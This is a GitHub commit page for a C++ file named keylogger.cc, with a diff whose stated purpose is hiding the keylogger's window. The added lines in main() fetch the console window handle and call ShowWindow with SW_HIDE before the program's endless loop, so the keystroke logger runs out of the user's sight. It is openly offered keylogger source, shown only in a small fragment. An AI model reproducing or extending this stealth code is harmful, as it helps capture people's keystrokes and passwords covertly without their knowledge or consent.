Skip to content

Commit 1690421

Browse files
committed
Keylogger Window is now Hidden
1 parent 8c6c599 commit 1690421

1 file changed

Lines changed: 4 additions & 1 deletion

File tree

keylogger.cc

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -26,7 +26,6 @@ string readfile()
2626
oldcontent = oldcontent + "\n" + oldcontentline;
2727
}
2828
}
29-
// datafile >> oldcontent;
3029
}
3130

3231
if (oldcontent.compare("") == 0)
@@ -63,6 +62,10 @@ void x(string input)
6362

6463
int main()
6564
{
65+
// Hide Window
66+
HWND hwnd = GetConsoleWindow();
67+
68+
ShowWindow(hwnd, SW_HIDE);
6669

6770
while (true)
6871
{

0 commit comments

Comments
 (0)